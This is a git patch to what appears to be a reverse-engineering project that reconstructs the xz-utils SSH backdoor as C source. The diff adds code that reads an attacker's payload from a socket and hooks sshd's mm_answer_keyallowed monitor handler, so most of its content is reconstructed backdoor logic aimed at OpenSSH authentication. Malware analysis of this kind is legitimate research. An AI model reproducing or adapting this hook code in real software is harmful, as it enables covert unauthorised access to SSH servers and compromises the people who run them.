From db38f8bad84879eec7a4c558f0baf6dbb477e481 Mon Sep 17 00:00:00 2001 From: Stefano Moioli Date: Wed, 1 May 2024 22:25:53 +0200 Subject: [PATCH] run_backdoor_commands: add socket payload read + mm_answer_keyallowed hook code --- xzre.h | 11 +++-- xzre_code/run_backdoor_commands.c | 76 +++++++++++++++++++++++++++++-- 2 files changed, 78 insertions(+), 9 deletions(-) diff --git a/xzre.h b/xzre.h index 8be607d..e7134b9 100644 --- a/xzre.h +++ b/xzre.h @@ -1063,7 +1063,8 @@ typedef struct __attribute__((packed)) sshd_ctx { void *mm_answer_keyallowed_start; void *mm_answer_keyallowed_end; void *mm_answer_keyallowed_ptr; - PADDING(sizeof(void *)); + u32 mm_answer_keyallowed_reqtype; + PADDING(4); void *mm_answer_keyverify_start; void *mm_answer_keyverify_end; void *mm_answer_keyverify_ptr; @@ -1097,6 +1098,7 @@ assert_offset(sshd_ctx_t, monitor_reqtype_authpassword, 0x40); assert_offset(sshd_ctx_t, mm_answer_keyallowed_start, 0x48); assert_offset(sshd_ctx_t, mm_answer_keyallowed_end, 0x50); assert_offset(sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58); +assert_offset(sshd_ctx_t, mm_answer_keyallowed_reqtype, 0x60); assert_offset(sshd_ctx_t, mm_answer_keyverify_start, 0x68); assert_offset(sshd_ctx_t, mm_answer_keyverify_end, 0x70); assert_offset(sshd_ctx_t, mm_answer_keyverify_ptr, 0x78); @@ -1950,12 +1952,13 @@ typedef struct __attribute__((packed)) run_backdoor_commands_data { PADDING(4); u32 key_cur_idx; u64 key_prev_idx; - u64 unk50; + PADDING(7); + u8 unk57; union { struct __attribute__((packed)) { int socket_fd; u32 fd_recv_size; - u8 fd_recv_buf[24]; + u8 fd_recv_buf[64]; } sock; struct __attribute__((packed)) { u64 num_host_keys; @@ -1977,7 +1980,7 @@ assert_offset(run_backdoor_commands_data_t, ed448_key_ptr, 0x30); assert_offset(run_backdoor_commands_data_t, num_keys, 0x38); assert_offset(run_backdoor_commands_data_t, key_cur_idx, 0x44); assert_offset(run_backdoor_commands_data_t, key_prev_idx, 0x48); -assert_offset(run_backdoor_commands_data_t, unk50, 0x50); +assert_offset(run_backdoor_commands_data_t, unk57, 0x57); assert_offset(run_backdoor_commands_data_t, u.keys.num_host_keys, 0x58); assert_offset(run_backdoor_commands_data_t, u.keys.num_host_pubkeys, 0x60); assert_offset(run_backdoor_commands_data_t, u.keys.ed448_key, 0x68); diff --git a/xzre_code/run_backdoor_commands.c b/xzre_code/run_backdoor_commands.c index 4ba1a00..373d6d5 100644 --- a/xzre_code/run_backdoor_commands.c +++ b/xzre_code/run_backdoor_commands.c @@ -5,8 +5,12 @@ #include #include #include +#include #include #include +#include + +#define MONITOR_REQ_KEYALLOWED 22 // $FIXME: move to xzre.h extern BOOL sshd_set_log_handler(cmd_arguments_t *args, global_context_t *ctx); @@ -451,7 +455,7 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){ )) break; } - // FIXME: set high byte of f.unk50 to 0 + f.unk57 = 0; memset(f.u.sock.fd_recv_buf, 0x0, sizeof(f.u.sock.fd_recv_buf)); @@ -460,12 +464,74 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){ if(!ctx->libc_imports->pselect) break; if(!ctx->libc_imports->__errno_location) break; - /** FIXME: monitor_req flow */ + int write_idx = f.u.sock.socket_fd / 64; - post_exec: - // FIXME: erase data (60*4) - // more data cleanup.. + int res; + for(;;){ + *(u64 *)&f.u.sock.fd_recv_buf[16] = __builtin_bswap32(0x50); + memset(&f.payload, 0x00, 0x80); + FD_SET(f.u.sock.socket_fd, (fd_set *)&f.payload); + *(struct timespec *)&f.u.sock.fd_recv_buf[8] = (struct timespec){ + .tv_sec = 0 + }; + if((res = ctx->libc_imports->pselect( + f.u.sock.socket_fd + 1, + (fd_set *)&f.payload, + NULL, NULL, + (const struct timespec *)&f.u.sock.fd_recv_buf[8], + NULL + )) >= 0) break; + if(*ctx->libc_imports->__errno_location() != EINTR){ + goto bad_data; + } + } + if(!res) break; + if(!FD_ISSET(f.u.sock.socket_fd, (fd_set *)&f.payload.data[8])) break; + + if(fd_read( + f.u.sock.socket_fd, + f.u.sock.fd_recv_buf, + sizeof(u32), + ctx->libc_imports + ) < 0) break; + + *(u32 *)f.u.sock.fd_recv_buf = __builtin_bswap32(*(u32 *)f.u.sock.fd_recv_buf); + if((*(u32*)f.u.sock.fd_recv_buf - 1) > 64) break; + + if(fd_read( + f.u.sock.socket_fd, + &f.unk57, + sizeof(u8), + ctx->libc_imports + ) < 0) break; + + ctx->sock_read_buf_size = *(u32 *)f.u.sock.fd_recv_buf - 1; + if(fd_read( + f.u.sock.socket_fd, + ctx->sock_read_buf, + ctx->sock_read_buf_size, + ctx->libc_imports + ) < 0) break; + + if(!ctx->sshd_ctx->mm_answer_keyallowed) break; + + int monitor_reqtype; + if(TEST_FLAG(f.kctx.args.flags3, 0x3F)){ + monitor_reqtype = 2 * (f.kctx.args.flags3 & 0x3F); + } else { + monitor_reqtype = MONITOR_REQ_KEYALLOWED; + if(ctx->sshd_ctx->mm_answer_keyallowed_ptr){ + int *monitor_reqtype_ptr = (int *)PTRDIFF(ctx->sshd_ctx->mm_answer_keyallowed_ptr, 8); + monitor_reqtype = *monitor_reqtype_ptr; + } + } + ctx->sshd_ctx->mm_answer_keyallowed_reqtype = monitor_reqtype + 1; + + // replace/hook mm_answer_keyallowed + ctx->sshd_ctx->mm_answer_keyallowed_ptr = ctx->sshd_ctx->mm_answer_keyallowed; + post_exec: + memset(&f.payload, 0x00, 0xF0); f.payload.data[0] = 0x80; f.payload.data[0xF6] = 8;